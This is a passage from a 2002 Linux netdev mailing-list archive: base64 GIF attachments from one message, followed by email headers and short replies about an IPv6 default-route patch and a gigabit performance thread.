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 RAQEADs= ------=_NextPart_000_000A_01C266E4.3492AE80 Content-Type: image/gif; name="Hera.gif" Content-Transfer-Encoding: base64 Content-ID: <000501c266fd$56cb0560$0200a8c0@terra.com.br> R0lGODlh/wNdAPf/AP///4SEhIyMjJSUlJycnKWlpa2trbW1tb29vcbGxs7O ztbW1t7e3ufn5+/v7/f3987GxtbOzt7W1r21ta2lpbWtrca9vZyUlKWcnMa9 td7WztbOxr21rc7Gvefezt7Wxt7Wve/v5/f37///987OxtbWzt7e1ufn3r29 ta2tpbW1rcbGvZSUjJyclKWlnIyMhN7ezufn1u/v3tbWxr29rcbGtc7OvbW1 pf//562tnPf33qWllO/v1t7exufnztbWvc7Otb29pcbGrf//3vf31u/vzufn xt7evdbWtc7Orf//1u/vxufnvff/zvf/1u/3zufvxt7nvff/3u/31ufvztbe vc7WtcbOrd7nxr3Gpff/5+/33ufv1tbexs7WvcbOtbW9pa21nO//zt7vvdbn td7nzr3Gre//1uf3ztbnvd7vxufv3sbOvaWtnPf/79bezs7WxrW9ra21pe// 3uf31s7evcbWtd7vztbnxr3Ord7n1r3Gtef33sbWvd7v1s7extbnzr3OtbXG refv5+/378bOxs7Wztbe1t7n3rW9taWtpa21rb3GvYyUjJSclJylnISMhM7e zsbWxrXGtb3OvcbOzq21tZScnMbGzq2lrcDAwAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAACH5BAEAAJoALAAAAAD/A10AQAj/AGmYMUND4Bcg Vuxc2cMwkJk9NFAgQFCghQ0fT6BQUYMFS5cub94kIEASwYIGmlKqXMmypcuX MGPKnEmzps2bOHPq3Mmzp8+fQIMKHUq0qNGjSJMqXcq0qdOnUKNKVUowzp44 cWhgRaGoxQABYAMI6NEDCZQoUWCs4cKjTBc4IBe5oNGlRxm4f+rAgRNpBpxD ChY4eDC1sOHDiBMrXsy4sePHkCNLnky5MlA5KGhARKGCBgEBYr1EwVKlx48j U7z48NLFRxcsM/T4wFIGBgy/Nmb8gFGmDAkXAw4oQGm5uPHjyJMrX868ufPn 0KPbHGgGjBw5i1Sk2H5ATxnTXqr8/wBZhocWPTO8eJnh9sePHh/hrN/b5UsC BIOl69/Pv7///wAGKOCAAgbwQgCY7FEDG/IF0kcNM9jWQxUiLLhCCSSQsAJo oAUQACQE6AEDFx/N0IV7cCSQAAP5EejiizDGKOOMNNZo42Qx+OADDjx44AEM JpjAAAMw6HECCV/UEMYNYIBhxhVmCAFRIiooUgABGKigggEUuFDAlwYskkAh CUTAAAkLEHbjmmy26eabcMYpZ2VTOEHFFDwUceIRpVUBRRV1ePFHaV3M8EUc TtbwBSM1oOAoCgeg8IUQVwiR5ENm1KCgAg+oOeenoIYq6qikllqjiD3wBoNd M7AxA3sxxP9QYkh7laAAko5qWsMKbKywhyAoMIICAV8NQNIBCAw3WKemNuvs s9BGK+20RcH2BRWj+TVDHyEVkkIOZnzhhbgM9WpGIo8yMmVWKiRCwCVgJsuA p9TWa++9+OarL5twwIAFWVV0UQcbLuzgQg5MslFCCSbEICIMJXhhw2444DDH EE44MQUVHPtwh3d6rKGHCQ0Qt+/JKKes8sosJ1aAlSkkUogJM5BAQxhxuEBs Iwas4N6/VJTRURVOSEEFGlPcAcgfMOAByBtdlAGIW288fYiQiNDb8tZcd+31 1y0TkAICAJgQRpJJ1lBDhnr8UIIBBHg1QAF74GFEFUVA0UUVVeD/UaghZBYw wOAEfFkCHCWUAXVIJWgN9uOQRy755DYKYoYdA+Ux0B5CeGHHVXFomYgLixzA SJB2lcFFRz/4JUEij8hhRm4wFDqDCS1SrvvuvPfue3NVgVGQlma40KEAA0x4 xA91qJEGFGf9O4Wsb/haA1w9eARXJCG9lWEhCiBgrAEJnOT47+inr/767O8k Rw4uPJKCClelQGwLH6m3txFWeEEFD1ywjV9i4C+AvccvcIGDJBjxCAM04Hzt i6AEJ0hB9mVKCANhAxCS8AWGfMEG3+kCHjxSBSqQpVAksAFcbMAF77AmVR+B QUhIcB8HVPCGOMyhDsHGIQscAF4pMAAC/xhhKCDIEAby8QsCUsCCFrDAESwY XCPAQkUBEGAFNHuDbeBQCAsIBoI7DKMYx0hGOXXkCdgCGhX49hG+1S5IXajU F7IwEAyaISsoWAENhAAEzqnNUSswX6cckLsyGvKQiExkgMRDhSIUwQh1mQEe xgOfLnxgBn+Awx9YUwJDfMEOXxjIFfpghzyAUlFf2OShQreI+c0vEchKVgMK qcha2vKWuGRMXbLHt4DppmY2YEQFqOgIF7SBSQLZw0MiwoYvCAIrcWjUHlQA pgMk4AS0zKU2t8nNbirFD1zAwxv00AUghWQFo5PDDaxghS984Qqh3EMiSGC6 A1hCiGdaAQr2EP++Axjgn8gaDrO8SdCCGvSgNfGSAdgwzpqxYQAukIMNCACc FHwhkl74gQ8C9gMcnEEKU9jCHbBABzrcgQ5U8IFGylCHGcwzTQiNqUxnys0C bMcAKagAChBXAkWogAN5hMMbhNYRKnjkB2UoIRpGAwWP0KYOAesCa0zEBUBM rXvgmxdNt8rVrt6QBnQUSJSS1K9LKeghjtJOAeCABY00FT548MEM3kACYxHA ml/0ql73ytcICsKdX2gmG9QT2A4yBAU1SMQeUJCIFUCgBFPwwQ+40ANazcBW BnBBChiBoVkOtK+gDa1owSYIOuaBBpZTZiLk8IgWtIAAHhJLARLgIx3/VKEM GPFBql4FhxTMJRAqRGBIJIGIB4JxtMhNrnJNJbys0CAIBYkDCtrQAg8J4BFA 4NN7mNARI/SADlzgwhuE6q0atC6jvNWWfAzBXgjcBwEMeOBy50vf+rYpK2YI Qlb2ayCw2IAMfAtPFZZQBSz4gA498AIB9VADMwjKL1Z9QwtrI9XwAdSaCVBA fLNp3w57+MP6cYELblCQKX3mBQIwQhT49gMrPGEGNlijD47Qg9hwAbcU/kgI 1WMDwuUVxEAOspClQxA5KCIFbXDUy7bDHthITDx22cIUZEgCOACCsv+qwqtM VCiQsGEiHB6ymMdM5sdY6p0D0QoNtEQDt1RB/z1DM7BRocCGH0gMPlgABBu6 AIUY3AFqQv0yfo5b5kIb+tBLIbEZgLCCGgAhXIP9AhxExBqPRA2Jb5jBBlYg lgOUkwtCvQMcTACxINmghoRGtKpXzWqdWJciyHuEChjBCInZYM8nklgKSYAC DoXF1wNQgYmqpsW90PAkrU62spdNEwxcaQEmOEABMnGAcb3zCmmY2cJKsAck ywFRYBAEB+LQSmIZ60skKYABbKAHPZBgBvKyIbPnTe9WP6GEVOgCFXRTmjLE ykhanIEQxJoFStVAMwdQwSL++QMbQAQMN0AWhhWgAEwkwBAa/my9N85xIWtE CUNoAhurcAeOfSR7vf95VSECC4S0EaQqujIDEoAghIIPfLEokG/Hd85zIHvk Tj6wjaU/kOAZJBgOfikB0+BAgj6YwQpmsNyu9oCACdSgD55zp68YIt3FMkLD s+y52McuWo1y4Q5luINU1VM1cgo1EnAJyWXlw5AVrIARvMJ7HRvMWIXj9J/q PoA1A2Ncshv+8DP9s9TKwKcud+EPIXGLekhQCEaMqRIkUIAh2KApNjDk8wpa LCwDfxJ5I/70qI8pwOCTnkjOwBCUWAELGjGAFqRAeJr6vCCSyRAaJCkOES/c lwIa5tQb//i2xAJc8KCHqs3nVSmQnR0896Cz3tFRCEhEArJSAzwe4ALCF2L/ xpFP/vLbUnUnF1EJFpCAR+wgB3IQ3uxMAO2FIf2SPcgYxpxAhClsrDwt9Abs F2/mV4AGGEYDYAA/4AclADElUAiP4AJhYAYKE15Cs0ZaxhpSZSdPMAUd2IEb gwYlhwVosAIGUADmc4AquIIS9CWLsAIkkGlM1wIjpjMCcCAFwBtRo1sbVQVS 8AQdKIJeQIL/Qhsg8RHjVAKH4Fks2IROuDteogg4lQIoYAgLwFgpkB0qgAAM o29thQXvwRocgwVjGBISlj35g4Th1W4mABgs8oRwGIdc8yWZsAIgsBpIYAOa YnclEAE+4F1ogAQ1RhpHwCcm5zfjZWwL4xchAQNL/9MHegEIIGEI2JRqcniJ mNgsVmADV6ApdWQFlZIFJAADOLclKVAAj1AANeADbjEHWJAGXcAGmwQX3mJX BWAJE7EA8fUAItCLg5SJwBiM0bIH1edO0+cFfeBObKAZXCd6CZAIXrAFFzgb vIUhJ2gAKLBhliiM3NiNoeJ7fRAIg/UgeaAeTsd1WKECB5csvSE0d3AHeIBA JkACp/iC41UCs2R63riP/AgqvvcFDmFHHUQl2bEIcfMZtncCJ6ADWOBdZ8AF +RYShpBZ0WQHJWIiSjgI+tiPHNmRNTIQcWAGWQBNBOECjkAAjjAAYhEAB/AD VXBv+cYD/pdvhaIHqwUG4v+iZXBQB5u0HoZgA0NiMh45lEQZIDQABnEgCBAR OhmAAinQAh3iISpwBCtmBIXoB2UAXgTEGm8QBzmwB3BRO2mAdLXjFyRQAhBQ Cbqoc0XZlm7pHOkYXdGlAp+xknvDN1bQVGPQVFTABVsgXkiEAnGQG5bGF+P1 B2+hSYWwmAnwTxpWfG8ZmZLZGGqGlFlwAyoQB8ejCFbQS0eQBkRwBG1FBTDg BWsAJIwCIW8BCH7QfLUBAy1FeSNROP8kL4U3mbiZm4vRGQeHR3FgAB2SAj2w YkhQBUBgBKShb1NQY28QJFVgA+rhBXUAEjPgA33pPTglHLoYX561jbr5neBp FKT/YxVagRWwBRZVQGMuOYRU4AVl4AUAgwUmsAZBwxu9oWPxYQMHYEUr4p3h +Z8AWhSK0AaalQiJUBDAiTxYsGLrUWDPyTEpVQav8prZkx4mgkA2sAIHQAAO 5J8B+qEgyhPWkQME4FPZpwiPQBIf8RF2hgUZ5QM84BqHA0Kz0QWAMCGF8gNw UQIzwAgFcABsGaJCOqRAASVemQNtEAcHcIpaMlelmVExVB5bEBIM8gaugaN+ wRqZFGgJcAAbSaRgGqY2oR4HB5KCGTpxsCoJZgOrR4ZBYwNdAJ0BQxZwITRl 8AcwJpv4IaZ82qcyIRBCwE4NRhARQQM2QGo/QxZYoAZU/3BJ5pVCrVEb+qM4 taEHh0BDe+qnmrqpmnBmD1ED8GQHirIHo+hmM1YFRiChh8MgkcIG7Rgh9qmE h7AAGpIAX8qpuCqkA3BkGmJeNjApA1FZSSU0KyAxhrAXhZAIKskhB0ACXMAH MaAbLFoFKYIAYZer2CqkHUIRikADDBIIimIDJfAGWAAEbsBjulYAK8khYsEG JFAGa4RUWCCAG1A+QZqt+AqeK4kAmWBF6pYAdmcFQAA1t5FENLQIVYRiVSQW KsAgXDCuSJehlaBV+Vqxukk4GlAClvAlKnBrBwEEl6UHx1ozBNoG8YcdcpAC VvIIg2NXhYMChZA4GFIIJgGZFv97s/0YS/SXeYWwAoYiBIFqBaNGV4wAf0sS kgMnmAv3FbR5JSRBAAhQCM1pCCRgEkKJs1jbkUtgBEYQo2X5BogQKwrZADPw cGAQBFlAA5UiEGu2JQXgAiqAAhkABr71TwaALAlgAV9nAlZ4q1n7t8I4nBmR PSnlogHzLz3gMOjxA1dQKQwRJXiEAhxwAO1UppkBKSuSjyVTMh4KuJ6rgnsJ hFHAJ1HAAyR0oVpUAmvAozVgB0IAXVFCEIsFEZ+qKNLkKBSrCZ37ubxbgGrw BBnzBKTRS3hgVL1UYJeFJFcArgvyR4+yT51jKZmSZo2yAlfbu9grhzfWSGMI G5U0V+3/cVlewKPc5itfIFY4NwH71E6GZVgRARGBxITZO79N+B1lMAXfMa+Z tirp8QaQ9wc6+gYL8wZeUI4PsQcdZHeMYAGB0kziiFpnylgSUQiCRL8WXIAm 0jH7ViJwwaJS1S+F8ge24gULwgZ5xAZ6CEqBkAcfixWLcAPboQiKgC4TkXny e8E4nHowQEA7rCpJVE5loAd7ATUfUQjHagihtwe0tja0hgKeFwctSzg/miwn kY8al8NYbHj5pqgrKlUwZlS9gUSJuRfHSgKToMR7UAhs4HmgByk6c24ZxiK7 m8V0zGymUYQlkqMTMx6LgiwroMbvZgg1EwjlYgaZIV0FkUfS/6Zu8HWvdfzI ZHci32siXiBUXmB3XyEALBBRWKFYg8qMDAEsJaYCKRovmGCzkJzK9VYGeMAa MICneFrJXQBLtRdRz0QDffCrDJF7+6QriXADMDw3w1c+fqvKxlxvT2oXfvAW eHoiJKBO7zQufaBMipKUNIAAKGABNHBwmaECBzAAF/AlFCAvc3zM5kxmWnSf UdN8bwA4BwMGntNyVyCqBEEljJAIFYCLJhAHjJCZFKFutUnM5XzOBA1kPIAe b5CxJiDAlGdMwMxOQFAp4NorClAIEsyFDRACbSgkJmArCBBLmTvQBT3S9aVv 7xkwW/SUIqZOA3E7J5BFJVBj7zEEOP+QMWIgBmhkVHggNXrwNLYSXyQd1Krm AgwiiT69AjSYAlnBbjJwY6vDouPxA2iUMVTNf0eDBnSgEUFDArso1F5daIVT COiBRDMYUV8AAzLAilhAYzNQB3YmHl4wBGhwBnfwBGhw12iwEVAwQncwLATQ n18d2GKmbiqgAA0YMWxAgzcgB58BFgZwQj9QhHa2f3QwBVzwB/CKY1jgN1MD ErZSzIId2soFJgZgAUJFedF3A8TCAqCBAnszIVSgYnwCvEiTNG4hNH3Tjj7d nPQH1KL92/PlJTe1AoeAIQShCPFDABTAWYWCqlAASeLhBGj0BO94F4DgiP6r Y+oMAycwq4T+BNzgPVpfsh0quwKGTY8GkJlx8G61MRsmpF0vaVSLqgYjpDgy xMGYTQdl4AeA0IZWeL3hHeBbZVPeDCEXqiGepzA9UAQdAQV/SBqVxDF4MOGF cmsfDBJ/IImJOANPEwllYIVXLOAijlCFY1H/Mim70igokEImFAVIMAOOsAJH 4AUjVEJrrWVlAHdsgHELsAIqwi0fTB+pAgOHANojfuTb5ChxQAhmsAgDYbuk inSQcoIpWjg1cJdo0BHhMYtcZAAtW+LkExgOsAaHEBKIgORoflBPMnCUsmju 5AWGgAID90eM4E9v2wFadAer0xHx0QWFADeFgywbNgJpXugzFRAAOw== ------=_NextPart_000_000A_01C266E4.3492AE80-- From davem@redhat.com Sat Sep 28 23:29:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 23:29:22 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T6TKtG001063 for ; Sat, 28 Sep 2002 23:29:20 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id XAA16236; Sat, 28 Sep 2002 23:22:11 -0700 Date: Sat, 28 Sep 2002 23:22:10 -0700 (PDT) Message-Id: <20020928.232210.45834665.davem@redhat.com> To: kuznet@ms2.inr.ac.ru Cc: yoshfuji@linux-ipv6.ORG, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: Default Route Support on Router From: "David S. Miller" In-Reply-To: <200209282047.AAA03890@sex.inr.ac.ru> References: <20020928.151959.131438421.yoshfuji@linux-ipv6.org> <200209282047.AAA03890@sex.inr.ac.ru> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 400 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: kuznet@ms2.inr.ac.ru Date: Sun, 29 Sep 2002 00:47:05 +0400 (MSD) > Following patch is against linux-2.4.19. OK! Patch is applied to both 2.4.x and 2.5.x One question, what is this chunk for? Once this is resolved, please send a patch if necessary. From davem@redhat.com Sat Sep 28 23:27:12 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 23:27:17 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T6RBtG000529 for ; Sat, 28 Sep 2002 23:27:12 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id XAA16212; Sat, 28 Sep 2002 23:19:15 -0700 Date: Sat, 28 Sep 2002 23:19:15 -0700 (PDT) Message-Id: <20020928.231915.113302934.davem@redhat.com> To: kuznet@ms2.inr.ac.ru Cc: yoshfuji@linux-ipv6.ORG, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: Default Route Support on Router From: "David S. Miller" In-Reply-To: <200209290209.GAA12099@sex.inr.ac.ru> References: <20020928.172306.102654240.davem@redhat.com> <200209290209.GAA12099@sex.inr.ac.ru> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 399 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: kuznet@ms2.inr.ac.ru Date: Sun, 29 Sep 2002 06:09:52 +0400 (MSD) > can we just detroy it? :-) Must, I think. Though with your current mood about per-flow cache the file could deserve... mmm... post-mortem examination. :-) Oh I see... perhaps you imply I should destroy CONFIG_RT6_POLICY remnants as well? :-) I think we should, the less clutter when hacking these things the better. From rgooch@vindaloo.ras.ucalgary.ca Sat Sep 28 23:34:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 23:34:11 -0700 (PDT) Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T6Y9tG002248 for ; Sat, 28 Sep 2002 23:34:09 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id g8T6Y2o08439; Sun, 29 Sep 2002 00:34:02 -0600 Date: Sun, 29 Sep 2002 00:34:02 -0600 Message-Id: <200209290634.g8T6Y2o08439@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: "Xiaoliang \(David\) Wei" Cc: netdev@oss.sgi.com Subject: Re: Poor gige performance with 2.4.20-pre* In-Reply-To: <002f01c2675d$b642b640$f5f2010a@weixl> References: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> <002f01c2675d$b642b640$f5f2010a@weixl> X-archive-position: 401 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgooch@ras.ucalgary.ca 